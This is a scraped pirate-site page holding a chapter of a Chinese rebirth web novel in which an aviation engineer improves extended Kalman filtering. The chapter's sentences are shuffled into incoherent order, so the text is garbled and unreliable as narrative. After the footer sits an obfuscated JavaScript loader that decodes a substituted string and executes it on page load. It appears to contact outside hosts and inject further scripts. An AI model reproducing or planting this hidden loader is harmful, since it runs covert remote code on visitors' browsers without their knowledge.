首页
第91章 理论水平精进二合一
返回

第91章 理论水平精进二合一

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    或许是得益于刚刚重生时的那次尝试,也或许是得益于管理能力已经从一片空白的LV0进步到了LV1。
    总之随后攻关小组的组建,以及向606所和410厂分配任务的流程要比常浩南自己的想象顺利很多。
    毕竟能在这些地方工作的工程师,能力和经验都是经过考验的,比当初带着周书万和张漫两个本科生那是轻松多了。
    在介绍计算方法和实验内容的时候也基本上是一点就通。
    所以当天晚上,负责第一部分动叶上端部前掠及下端部正弯技术研究的小组就已经开始工作了。
    在分配完最后一部分任务之后,常浩南总算拖着疲惫的身子离开临时分配给他的办公室,准备回自己在601所的住处休息一下。
    从01号原型机发生事故那天一直到现在,他就没睡过一个囫囵觉了。
    留给他要解决的问题还有不少,很多部分即便有着系统的帮助也并不简单,哪怕已经把实验部分剥离了出去,仅仅是数值模拟部分就花掉了他50点积分。
    主要的限制自然还是这个年代的计算机水平。
    他给出的各个方案所涉及的流场复杂程度不同,掠动叶分别有不同掠高以及掠角的改型,弯动叶也分别有不同弯高和弯角的改型,在没经过系统的优化之前,每个叶片自动生成的网格数量都在90万个左右。
    并且这件事情的压力要比之前对机翼的设计改进更大。
    “这位同志……有事?”
    今天晚上的休息恐怕又要泡汤了。
    显然,EKF算法的计算量并不大,实现起来也并不困难,但EKF对强非线性系统容易产生严重的震荡,甚至是发散。
    “没关系,您到我这签个字确认收到就好了。”
    不过他还是控制住没有表现出懊恼的情绪,只是用了吸了一口气,然后指了指自己的脑袋。
    管理者的身份是需要适应的,当了几十年螺丝钉的他在这方面本来就经验不足,再加上看了一晚上信件导致脑子里全都是算法相关的东西,导致他差点就忘了今天早上开会的事情。
    可以开展的项目:0】
    “第二步,计算k-1时刻的容积点,P=SS^T,其中S通过P的乔列斯基分解得到,对于容积卡尔曼滤波算法,点集ξ及相应的权值w为……”
    常浩南靠在椅背上,把一次性筷子掰开,揉着有些发酸的后颈自言自语道。
    又是几乎一整个下午的时间,常浩南几乎一直在草稿纸上进行着思路分析和计算。
    在原本的时间线上,为了解决EKF算法线性截断误差大的问题发展出的产物是无迹卡尔曼滤波算法。
    其中最典型的一种便是扩展卡尔曼滤波算法,也就是先用泰勒级数将系统方程展开,忽略二阶以及二阶以上的高阶项,此时非线性系统已接近线性形式,再利用标准卡尔曼滤波算法对系统的状态进行估计。
    “这是一封寄给您的信,因为没写具体的宿舍号码,就留在门卫这了。”
    【科研点数:110
    在打开饭盒的时候,他顺便看了一眼自己的系统面板,然后愣在了原地。
    在04号原型机改装新机翼的过程中,01和03两架原型机仍然处在马不停蹄的试飞工作中,只是需要对试验科目进行一定的调整。
    知道他在601所工作,但没有办法电话联系以至于需要寄信的,似乎就只有对方这一个人了。
    刚刚那些草稿纸上面颇为潦草的内容,哪怕让他自己第二天去看,恐怕都未必看得懂。
    在这上面拖延的每一天都会造成不可估量的损失。
    有机无弹,一样无法形成战斗力。
    迟疑片刻之后,她抿了抿嘴,轻轻地重新把门关上。
    就对方表现出来的这个能力水平,说她有个跟自己同款的系统似乎也不是特别夸张。
    折叠起来的信纸有将近20页,这个厚度让他皱了皱眉头。
    但满怀着期待在出门的时候正好遇到了同样刚刚打开房间门的姚梦娜。
    后来,针对噪声服从高斯分布的线性系统诞生了卡尔曼滤波法,由于其高效性和准确性,很快成为了工程中应用最广泛的滤波方法之一。
    常浩南想到昨天晚上忘了睡觉和今天晚上忘了吃饭的自己,笑着摇摇头,然后把信纸叠好放到了一边。
    “嘶——”
    但因为最开始的卡尔曼滤波法只适用于线性系统,因此后来又有很多人在此基础上进行了一定扩展,以使这种广受好评的滤波算法也可以用于非线性系统中。
    “我以前一直以为废寝忘食是个修辞手法来着……”
    作为一个航空工程师,常浩南此前对于滤波算法的认识仅限于应用层面,对于基础原理了解并不算深刻,但如果只看通过差分进化算法对过程噪声进行择优的过程,应该是没问题的。
    这是常浩南在入睡之前的最后一个念头。
    ……
    常浩南一边拆信一边自言自语道。
    他准备去泡一杯浓茶。
    常浩南呼出一口浊气,感受着北方8月末的夜间已经有些凉爽的晚风,不由得加快了脚步。
    “我有点后悔拆开这封信了……”
    寄件人那一栏填着“中科院计算技术研究所徐洋”。
    “由于在许多实际问题中状态方程以及观测方程的非线性函数的导数无法求取,所以很难求取雅克比矩阵。”
    “不用,知识都在脑子里装着,到那直接开始分配任务就行。”
    而徐洋提出的这种新算法则是在滤波之前先使用一种经过改进的差分进化算法对过程噪声的方差进行选择,大大减小了状态估计偏差,可以凭借略大于传统EKF算法的计算量达到远远超出EKF算法的精度。
    尽管常浩南并非601所的正式职工,但是大多数非技术岗的人员并搞不清这里面比较复杂的弯弯绕,因此基本都是以x工作为代称。
    ……
    要知道,他手头写出来的这些东西,甚至还没给第二个人看过,也还没有产生任何实际影响。
    但发动机作为飞机的心脏,出了上次那么大的事故,甚至几乎导致01号原型机彻底损失,在问题得到解决之前,试飞工作显然是不可能继续下去的。
    如果真能实现,对于解决困扰其许久的靶试精度不足问题或许会有很大帮助。
    伴随着咔哒的一声轻响,常浩南打开了宿舍门。
    实际上,高中数学学过的最小二乘法就是一种经典的滤波方法,但是由于只考虑了测量和状态之间的关系,这种方法的稳定性不好。
    徐洋在看过常浩南对差分进化算法的改进之后,提出了一个新的思路,想要就这个思路跟后者探讨一下可行性以及应用前景。
    这个会甚至还是昨晚上他自己提出要开的。
    时间一分一秒过去,刚开始的时候,常浩南还需要写一会就停下了思索一会,但随着计算过程的进行,他的整个思路变得越来越流畅,似乎进入了某种类似“心流”的状态。
    “怪不得……”
    点亮台灯。
    此时常浩南已经完成了整个演算过程,从旁边抽出了一摞信纸准备写回信。
    简单来说,滤波是将信号中特定波段频率滤除的操作,是抑制和防止干扰的一项重要措施,对于一切需要发射电磁信号的行为而言,几乎都是一个必不可少的过程。
    正在进展的项目:1
    “……”
    一直到午饭时间之后,他才从图书馆找到想要的资料,回到计算中心专门给他腾出来的一间机房中。
    管理能力:LV1
    抬起头看了看已经泛起鱼肚白的地平线,刚刚被浓茶压制的倦意终于涌了上来。
    “算了,拆都拆了,看看她写了点什么再休息吧……”
    听到这句话之后的常浩南愣了一下,然后重重地拍了一下自己的额头。
    “麻烦您了同志。”
    “或许八三工程的武器系统也能在今年以内看到希望……”
    《一种基于差分进化算法改进的扩展卡尔曼滤波算法研究》
    在已经明确地知道思路可行的情况下,常浩南甚至无需动用系统,他很快从接出来的一摞资料里面找到了自己想要的部分。
    因为展开信件的动作太快,他甚至没来得及回忆刚刚那一瞬间自己的脑海中是否闪过了什么狗血的剧情,就看到了第一页最上面的标题。
    ……
    “信?”
    往常精疲力尽的回来之后,他做的第一件事就是把自己整个人抛到床上,先放空思想躺上半个小时。
    第二天早上,常浩南洗漱之后便离开宿舍,准备直奔图书馆,借上一些资料之后继续研究徐洋提出的那个思路。
    当姚梦娜推门进来准备叫他去吃晚饭的时候,只看到了一个正在奋笔疾书的背影。
    常浩南决定休息一会之后去找几本书完整地研究一下再做答复。
    而在刚刚对卡尔曼滤波法进行学习和研究的过程中,某个瞬间的灵光一闪让他有了个更加精妙的思路:
    另一方面,徐洋拿出来的这个算法虽然对眼下的发动机改进没什么作用,但却是精确制导武器捷联导引头、雷达数据链、导弹惯导系统解算等一系列技术的基础,这些都与常浩南之前对进度比较悲观的仿制A弹——霹雳11半主动雷达制导空空导弹密切相关。
    钢笔字写的非常漂亮。
    常浩南看着已经被自己用红蓝铅笔做满标记的信纸,以及旁边写的满满当当的笔记本,喝掉了保温杯中最后一口苦得发涩的茶水。
    但随着对算法了解的深入,他发现UKF算法在理论上的数学推导过程并不严密,并且经过几次计算模拟之后证明在高维状态下的数值仍然不够稳定。
    几小时后。
    “惠书敬悉,利用改进的差分进化算法使过程噪声矩阵的方差阵自动进行调整的思路相当新颖,经过数值模拟计算后也证明其具有较好的估计精度,但EKF滤波算法本身仍然存在部分问题……”
    “第一步:确定滤波初值:X0=E,P0=E……”
    综合能力:LV1
    就在他即将进入宿舍楼的时候,门口的值班门卫突然从身后叫住了他。
    一方面,对涡喷14压气机叶片外形设计的优化工作刚刚开始,这个阶段的大部分工作是由606所的工程师完成的。况且因为系统的存在,常浩南写出的代码只要思路正确,就不需要debug,这项羡煞无数程序员的能力决定了他耗时最多的部分并不是编程,而是等待计算结果,所以有足够的时间去做这件事。
    结果表明,改进的扩展卡尔曼滤波算法减小了状态估计偏差,获得了比较理想的滤波效果……
    “常工!”
    他在601所这边工作的事情并没有太多人知道,而知道这件事的人似乎都可以直接通过杨奉畑联系到自己。
    而且一次就是500点!
    听到自己名字的常浩南停住脚步,回过头,看到一个穿着制服,年龄看上去跟他差不多的保卫人员手里拿着一个东西从岗亭里面跑了出来。
    “常组长怎么也出门这么晚啊?不用提前去准备会议材料么?”
    只能说徐洋不愧是UCB归国的博士,又亲自参与了差分进化算法的开发过程。
    虽然距离重生已经过去了几个月的时间,他也逐渐习惯了这个没有移动互联网的时代,但真的看到一封贴着邮票的信件还是会让他觉得有一种奇怪的感觉。
    工程经验:LV1
    常浩南有些茫然地从对方手中接过牛皮纸信封,昏暗的光线下看不清上面写了什么。
    摘要:扩展卡尔曼滤波已被广泛地应用到工程实际等各领域,但是此算法因假设过程噪声固定而带来误差,精度不高。研究了一种改进的EKF算法,主要通过假设过程噪声由滤波结果和观测结果得到,再用差分进化算法对所得到的过程噪声方差进行最优化选择来提高滤波精度……
    “看来我这次好像是整了个不得了的大活啊……”
    “由于EKF需要求取雅克比矩阵,所以对于非线性函数的具体形式必须确切知道,而无法做到黑盒封装。”
    “呼——”
    这封信的内容说起来并不算复杂:
    常浩南本来的想法是用这种算法与徐洋提出的噪声方差寻优结合,应该会是信息提取领域中一个相当重要的突破。
    常浩南揉了揉有些发胀的太阳穴,把信纸放在桌上,起身离开卧室。
    因为这是自从他重生以来,【理论水平】这一项的经验第一次增长。
    好在今天出门的时候被姚梦娜提醒了一下,加上整个任务分配流程都在常浩南的脑子里,所以还不至于耽误大事。
    几分钟后。
    “可以根据贝叶斯理论和Spherical-RadialCubature规则,将笛卡尔坐标系下的积分转化为球面-径向积分,利用一组确定性采样点,通过非线性方程的传播来进行状态估计,其具体步骤如下:”
    以至于当他终于在信纸最后写下“匆此先复,余容后禀”并签上自己的大名之后,才看到旁边桌子上不知道谁打包回来的晚饭。
    姚梦娜把门锁好,语气中带着几分调笑的意味。
    到了90年代中期这会,工程界已经基本看到了EKF算法的极限,开始琢磨对EKF算法进行改进,或者创造一种新的卡尔曼滤波算法出来。
    尤其是后半段与卡尔曼滤波有关的部分。
    二人对视了一眼。
    实际上,以目前的系统等级,也没办法同时进行两个项目,所以这次只能靠他自己了。
    举一反三的能力相当强悍。
    不过,最后这场早会的持续时间还是超出了常浩南的估计。
    “常……”
    理论水平:LV2
    别说1996年,哪怕放在2006年也绝对是一个能让人听到之后直接血压拉满的数字。
    简直是瞌睡来了送枕头。
    但是今天,在经过上楼时候的短暂纠结之后,常浩南决定还是得看看那封信是什么情况。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();